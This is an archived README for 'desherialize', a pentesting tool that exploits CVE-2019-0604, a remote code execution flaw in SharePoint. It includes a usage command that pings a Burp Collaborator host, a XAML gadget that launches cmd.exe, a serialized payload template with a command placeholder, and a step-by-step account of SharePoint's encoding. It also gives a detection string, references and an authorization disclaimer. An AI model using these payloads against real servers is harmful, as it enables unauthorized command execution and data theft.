

desherialize

desherialize - Voulnet, GitHub.

- Published: date not stated
- Original: <https://github.com/Voulnet/desherialize>
- Preserved from: <https://github.com/Voulnet/desherialize> (preserved-copy) on 2026-08-04
- Repository commit: a71917b62852d2ac57617cd6e007c94876d4c7d1
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/Voulnet/desherialize>
- Commit: a71917b62852d2ac57617cd6e007c94876d4c7d1
- Documents preserved: 2

LICENSE

Blob a99d4f9c26f9 , 1072 bytes, at commit a71917b62852 .

MIT License

Copyright (c) 2020 Mohammed ALDOUB

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

README.md

Blob `affce6a1a657`, 10445 bytes, at commit `a71917b62852`.

Desherialize

Desherialize: Easy mode to Exploit CVE-2019-0604 (Sharepoint XML Deserialization Unauthenticated RCE)

```
youlnet@Voulgram: /mnt/c/Users/Voulnet/Documents$  
youlnet@Voulgram: /mnt/c/Users/Voulnet/Documents$  
youlnet@Voulgram: /mnt/c/Users/Voulnet/Documents$ ./desherialize.py -u http://localhost/_layouts/15/Picker.aspx -c "ping <YOUR BURP COLLABORATOR DNS NAME>.burpcollaborator.net"
```

What is it?

While there have been public POCs for CVE-2019-0604, I have noticed that those POCs are not clear, extensible or flexible. Some of them only have on hardcoded (and serialized/encoded) payloads, some of them require running custom .NET code before every payload, and some would run the payload on your machine first during the serialization process. I have reversed and analyzed the simple serialization/encoding algorithm used by Sharepoint, and I have created a raw template that can be used to serialize any custom payload on the fly without having to run .NET code for each payload, or run payloads that you can't read.

Find below usage examples for Desherialize as well as a brief explanation of the serialization process.

Assumptions

To better utilize this tool in pentesting Sharepoint:

- It is assumed that you know what is the Sharepoint CVE-2019-0604
- It is assumed that you have found a vulnerable (Unpatched) Sharepoint server.
- It is assumed that you have found a vulnerable endpoint on that Sharepoint server (e.g. example.com/_layouts/15/Picker.aspx)

Prerequisites

- Python 3.
- The requirements listed in the requirements.txt file

Installing

`pip3 install -r requirements.txt`

Better to create a virtualenv environment for the tool. Please note that using sudo with pip is not recommended.

Author

- **Mohammed Aldoub**, also known as **Voulnet**, find me on [Twitter](#)

Main Features

- Run custom serialized payloads on targets (Make sure you have authorization from system owners!).
- Launch the payload on any vulnerable Sharepoint version without having to look for compatible Assembly names.
- No need to play musical chairs with dynamically changing VIEWSTATE and EVENTVALIDATION values, Desherialize scrapes them from the target automatically.
- Make pentesting Sharepoint fun again.
- This tool is aimed at testing Picker.aspx endpoints in particular. Not tested at other endpoints.
- This tool runs commands through the target's command shell using Sharepoint privileges, but no way to read output directly.
- To read output, another channel is needed: Sending result through HTTP, DNS or other options.
- Load commands from a file: This means no need for annoying, pesky escaping and encoding of values to paste stuff into the shell.
- Burp Collaborator can help!

Contributing

PRs are welcome!

Testing

Installing and running an older version of Sharepoint to test this tool is a very annoying and cumbersome process. Installing and configuring Sharepoint was actually the only difficult thing in the process of developing this tool. To spare you sweat and blood, you may find these resources helpful, they contain a VM with Sharepoint pre-installed. You might need to fix up some licenses issues such as rearming Windows license, configuring a Developer license for MSSQL, and so on. The links are: [Sharepoint 2016 Ready made VM](#) and [Sharepoint 2013 Ready made VM](#)

Brief Explanation of the serialization process

In my analysis of this vulnerability, I noticed that the vulnerability has been explained in depth by the authors of the awesome links you will find in the References section below. I will attempt to explain the serialization process, because this is what allowed me to create a dynamic payload you can change on the fly without calling .NET code every time.

The serialized string is a XamlReader ExpandedWrapper which contains our payload in its XML format, An example taken from [this POC](#) is:

```
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}"
MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>
```

To serialize it, .NET calls a function called

Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId, which takes this string object and performs some operations resulting finally in the serialized payload which looks like "__bp123435009700370047005600d60...etc" By decompiling this function and debugging its code flow, we can see the following:

```

1 reference
public static string EncodeEntityInstanceId(object[] subIdentifiers)
{
    if (subIdentifiers == null)
        throw new ArgumentNullException(nameof(subIdentifiers));
    if (subIdentifiers.Length > 25)
        throw new ArgumentOutOfRangeException(nameof(subIdentifiers), "Need less than 26 subIdentifiers");
    StringBuilder buf = new StringBuilder("__");
    buf.Append((char)(subIdentifiers.Length + 97));
    for (int index = 0; index < subIdentifiers.Length; ++index)

```

Here the function adds __ to the start of the string, then checks the number of objects sent to be serialized, here it's 1, so it adds 1 to 97 to convert the result into ascii (b ascii is 98 decimal), so the string becomes __b

The screenshot shows the Visual Studio IDE with a code editor and a debugger window. The code in the editor is for the `EncodeEntityInstanceId` method. The debugger window shows a list of 15 types and their full names, indexed from 0 to 14. The type hash array is also visible.

Index	Type	FullName
0	Boolean	System.Boolean
1	Byte	System.Byte
2	DateTime	System.DateTime
3	Decimal	System.Decimal
4	Double	System.Double
5	Int16	System.Int16
6	Int32	System.Int32
7	Int64	System.Int64
8	SByte	System.SByte
9	Single	System.Single
10	String	System.String
11	UInt16	System.UInt16
12	UInt32	System.UInt32
13	UInt64	System.UInt64
14	Guid	System.Guid

The debugger also shows the `typeHash` array with a count of 18.

After that, the code loops on the type of the element being serialized, it's currently of type object, so it looks up a table of types and their values from an array called `typeHash`.

```

125 types13[index13] = type13;
126 Type[] types14 = types;
127 int index14 = (int)num16;
128 byte num17 = (byte)(index14 + 1);
129 Type type14 = typeof(ulong);
130 types14[index14] = type14;
131 Type[] types15 = types;
132 int index15 = (int)num17;
133 byte num18 = (byte)(index15 + 1);
134 Type type15 = typeof(Guid);
135 types15[index15] = type15;
136 Type[] types16 = types;
137 int index16 = (int)num18;
138 byte num19 = (byte)(index16 + 1);
139 Type type16 = typeof(object);
140 types16[index16] = type16;
141 Type[] types17 = types;
142 int index17 = (int)num19;
143 byte num20 = (byte)(index17 + 1);

```

When we decompile this array, we will find that the object type is the type #16, which has an index of 15 (starting from zero!), so the code adds the value of 15 to 97 resulting in 112, which is p in decimal, now the serialized string becomes __bp

```

else if (key.Equals(typeof(object)))
{
    if (subIdentifiers[index] == null)
    {
        data = "null";
    }
    else
    {
        XmlSerializer xmlSerializer = new XmlSerializer(subIdentifiers[index].GetType());
        TextWriter textWriter = (TextWriter)new StringWriter((IFormatProvider)CultureInfo.InvariantCulture);
        xmlSerializer.Serialize(textWriter, subIdentifiers[index]);
        string str = textWriter.ToString();
        data = subIdentifiers[index].GetType().AssemblyQualifiedName + ":" + str;
    }
}

```

str | Name='Start'><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>c ping

Next, we check the type of the object being sent to be serialized, which is of type object, so we enter this if statement, where it takes our input, serialized it using the XmlSerializer class of .NET, then appends in front of it the the XmlReader Assembly Qualified name + ":" plus the XML serialized payload, so it looks like this:

```

System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089:<?xml version="1.0" encoding="utf-16"?>
<ExpandedWrapperOfXamlReaderObjectDataProvider
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="XamlReader" />
    <MethodName>Parse</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">&lt;ResourceDictionary
xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation'
xmlns:x='http://schemas.microsoft.com/winfx/2006/xaml' xmlns:System='clr-
namespace:System;assembly=mscorlib' xmlns:Diag='clr-
namespace:System.Diagnostics;assembly=system'&gt;&lt;ObjectDataProvider x:Key='y'
ObjectType='{x:Type Diag:Process}'
MethodName='Start'&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd
&lt;/System:String&gt;&lt;System:String&gt;/c COMMANDHERE
&lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider
&gt;&lt;/ResourceDictionary&gt; </anyType>
    </MethodParameters>
  </ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>

```

After that, this serialized string, whose encoding is utf-16 is sent to be Hex-encoded, and then reversed, and also the length of this serialized string (after encoding, hexing and reversing) is calculated in hex (the length, that is - also encoded, hexed and reversed) and then put in front of the string so we have a string for example like "__bp82c135009700370047005600d60...etc", which actually means length of 82c1, so reversing that is 1c28 in hex, meaning 7208 in decimal. After that we have 35009700370047005600, so let's reverse that into 00530079007300740065, and decoding this from utf-16 and hex, we have 0x5379737465 which in ascii is System (System...etc etc)

So the way this tool works is that it takes a premade serialized string, adds a known serialized-reversed-hexed string to it, takes your command input, serializes-hexes-encodes it and then puts it instead of the premade serialized placeholder, and voila! You now can put your own dynamic serialized string without having to run dotnet code or be restricted to the public payloads available online.

TODO:

- More testing against a wider range of versions and service packs for Sharepoint.
- Integrate fully with Metasploit.

Detection

Check your web server logs for request containing "71e9bce111e9429c" For more awesome detection steps, Snort and Sigma rules, please visit: [Mansour Alsaeedi Blog - adraft.page](#)

References and further info

[Mansour Alsaeedi Blog - adraft.page](#)

[ZDI](#)

[k8gege POC](#)

[.NET POC to create serialized payload](#)

[YSoSerial.net dotnet deserialization payload generator]
(<https://github.com/pwntester/ysoserial.net>)

Disclaimer

By using this tool, you absolve the tool author from any effect or repercussions resulting, directly or indirectly, from usage of this tool. This tool is provided as is, with no warranty or guarantee. This tool must only be used on legally authorized targets, and by using this tool you hereby declare that you have obtained proper legal permission from the tested targets, and that you fully absolve the tool author from any and all means and results, directly or indirectly, of utilizing this free open source tool.

Questions?

- Raise an issue here in Github.
- Contact me on Twitter.